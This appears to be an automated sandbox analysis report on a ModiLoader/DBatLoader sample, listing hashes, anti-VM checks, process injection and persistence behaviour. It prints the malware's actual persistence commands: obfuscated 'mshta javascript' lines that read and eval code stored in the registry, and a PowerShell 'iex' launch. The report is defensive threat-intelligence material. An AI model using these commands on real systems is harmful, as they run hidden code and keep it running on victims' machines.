Analysis
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max time kernel
150s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
14-05-2024 12:12
Static task
static1
Behavioral task
behavioral1
Sample
4172450c063164dcb0df17869454d02a_JaffaCakes118.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
4172450c063164dcb0df17869454d02a_JaffaCakes118.exe
Resource
win10v2004-20240426-en
General
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Target
4172450c063164dcb0df17869454d02a_JaffaCakes118.exe
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Size
282KB
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MD5
4172450c063164dcb0df17869454d02a
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SHA1
94e0450729822708152b9eee33c090dd2176812e
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SHA256
ef25313a7b59df43c2150b052bd58e16e9d8df408037cd15e4bf9f4f60edc70f
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SHA512
a7ba57f121233d0bfaeb639e4e2f2397be667d70e61a309599bf182d09862d6fb154d3ec6f3de730c4552905e864c0abf3a5304a72a476fec7d7b08155cf1623
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SSDEEP
6144:t/gYfjNgR9sBfRO0HDhhFFd4Dx0DdO/uhUjL/GnFn3Xyk7:t/gwuR9sBfR9hfBdO/WFnHyQ
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2744 2632 mshta.exe -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe -
ModiLoader Second Stage 54 IoCs
Processes:
resource yara_rule behavioral1/memory/2940-2-0x0000000000400000-0x0000000000436000-memory.dmp modiloader_stage2 behavioral1/memory/2940-4-0x0000000000400000-0x0000000000436000-memory.dmp modiloader_stage2 behavioral1/memory/2940-5-0x0000000000400000-0x0000000000436000-memory.dmp modiloader_stage2 behavioral1/memory/2940-6-0x0000000001DC0000-0x0000000001E82000-memory.dmp modiloader_stage2 behavioral1/memory/2940-8-0x0000000001DC0000-0x0000000001E82000-memory.dmp modiloader_stage2 behavioral1/memory/2940-10-0x0000000001DC0000-0x0000000001E82000-memory.dmp modiloader_stage2 behavioral1/memory/2940-9-0x0000000001DC0000-0x0000000001E82000-memory.dmp modiloader_stage2 behavioral1/memory/2940-7-0x0000000001DC0000-0x0000000001E82000-memory.dmp modiloader_stage2 behavioral1/memory/2940-11-0x0000000001DC0000-0x0000000001E82000-memory.dmp modiloader_stage2 behavioral1/memory/2812-20-0x0000000006180000-0x0000000006242000-memory.dmp modiloader_stage2 behavioral1/memory/2812-24-0x0000000006180000-0x0000000006242000-memory.dmp modiloader_stage2 behavioral1/memory/2800-27-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-30-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-28-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-29-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-31-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-33-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-32-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-39-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-34-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-41-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-40-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-38-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-37-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-36-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-35-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2208-45-0x0000000000090000-0x0000000000152000-memory.dmp modiloader_stage2 behavioral1/memory/2208-50-0x0000000000090000-0x0000000000152000-memory.dmp modiloader_stage2 behavioral1/memory/2208-49-0x0000000000090000-0x0000000000152000-memory.dmp modiloader_stage2 behavioral1/memory/2208-48-0x0000000000090000-0x0000000000152000-memory.dmp modiloader_stage2 behavioral1/memory/2208-47-0x0000000000090000-0x0000000000152000-memory.dmp modiloader_stage2 behavioral1/memory/2208-46-0x0000000000090000-0x0000000000152000-memory.dmp modiloader_stage2 behavioral1/memory/2800-51-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-53-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-64-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-69-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-68-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-67-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-66-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-65-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-63-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-62-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-61-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-60-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-59-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-58-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-57-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-56-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-55-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-54-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-52-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-70-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-71-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 behavioral1/memory/2800-72-0x00000000000D0000-0x0000000000192000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:nbzpvgp1Y=\"A0\";D3k=new%20ActiveXObject(\"WScript.Shell\");LoRD4nZB=\"FlpG\";X1bZr=D3k.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\7abebc20d3\\\\6f0963f7\");nVzzxI7R=\"GgGqKmXq\";eval(X1bZr);Q7KhAg7lA=\"wB5Z8o8K\";" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 2800 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:kSM9exguM7=\"djMGuYWqfV\";cG0=new%20ActiveXObject(\"WScript.Shell\");bt5m9sHJA=\"GEh\";d60rIn=cG0.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\7abebc20d3\\\\6f0963f7\");hwCl7Dk5=\"1vTPUUV\";eval(d60rIn);XbnxmdUJ4=\"hM\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:kb9HwnFg=\"5ugI2nVLaL\";f85f=new%20ActiveXObject(\"WScript.Shell\");ez5dbqgMm=\"Sm3cxaaIs\";x6H3hj=f85f.RegRead(\"HKCU\\\\software\\\\7abebc20d3\\\\6f0963f7\");zBcmX1Cqw=\"FAhhDf2U\";eval(x6H3hj);cUi5xzKgs8=\"UwbV0Ka\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
4172450c063164dcb0df17869454d02a_JaffaCakes118.exedescription pid process target process PID 2400 set thread context of 2940 2400 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exeregsvr32.exepid process 2812 powershell.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
powershell.exeregsvr32.exepid process 2812 powershell.exe 2812 powershell.exe 2812 powershell.exe 2800 regsvr32.exe 2800 regsvr32.exe 2800 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2812 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
4172450c063164dcb0df17869454d02a_JaffaCakes118.exepid process 2400 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 29 IoCs
Processes:
4172450c063164dcb0df17869454d02a_JaffaCakes118.exemshta.exepowershell.exeregsvr32.exedescription pid process target process PID 2400 wrote to memory of 2940 2400 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe PID 2400 wrote to memory of 2940 2400 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe PID 2400 wrote to memory of 2940 2400 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe PID 2400 wrote to memory of 2940 2400 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe PID 2400 wrote to memory of 2940 2400 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe PID 2400 wrote to memory of 2940 2400 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe PID 2400 wrote to memory of 2940 2400 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe PID 2400 wrote to memory of 2940 2400 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe PID 2400 wrote to memory of 2940 2400 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe PID 2400 wrote to memory of 2940 2400 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe PID 2400 wrote to memory of 2940 2400 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe 4172450c063164dcb0df17869454d02a_JaffaCakes118.exe PID 2744 wrote to memory of 2812 2744 mshta.exe powershell.exe PID 2744 wrote to memory of 2812 2744 mshta.exe powershell.exe PID 2744 wrote to memory of 2812 2744 mshta.exe powershell.exe PID 2744 wrote to memory of 2812 2744 mshta.exe powershell.exe PID 2812 wrote to memory of 2800 2812 powershell.exe regsvr32.exe PID 2812 wrote to memory of 2800 2812 powershell.exe regsvr32.exe PID 2812 wrote to memory of 2800 2812 powershell.exe regsvr32.exe PID 2812 wrote to memory of 2800 2812 powershell.exe regsvr32.exe PID 2812 wrote to memory of 2800 2812 powershell.exe regsvr32.exe PID 2812 wrote to memory of 2800 2812 powershell.exe regsvr32.exe PID 2812 wrote to memory of 2800 2812 powershell.exe regsvr32.exe PID 2800 wrote to memory of 2208 2800 regsvr32.exe regsvr32.exe PID 2800 wrote to memory of 2208 2800 regsvr32.exe regsvr32.exe PID 2800 wrote to memory of 2208 2800 regsvr32.exe regsvr32.exe PID 2800 wrote to memory of 2208 2800 regsvr32.exe regsvr32.exe PID 2800 wrote to memory of 2208 2800 regsvr32.exe regsvr32.exe PID 2800 wrote to memory of 2208 2800 regsvr32.exe regsvr32.exe PID 2800 wrote to memory of 2208 2800 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\4172450c063164dcb0df17869454d02a_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\4172450c063164dcb0df17869454d02a_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2400 -
C:\Users\Admin\AppData\Local\Temp\4172450c063164dcb0df17869454d02a_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\4172450c063164dcb0df17869454d02a_JaffaCakes118.exe"2⤵PID:2940
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:D4aBpnl="dUjuu";m2t=new%20ActiveXObject("WScript.Shell");coInP88oO="zgcN";ATBz3=m2t.RegRead("HKLM\\software\\Wow6432Node\\juMnFO2Ir\\2yXPMyDL");xglogFM5F1="Vr2LgsVX7";eval(ATBz3);zqz4MCmeK="96";1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2744 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:ccqlmwz2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2812 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2800 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:2208
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2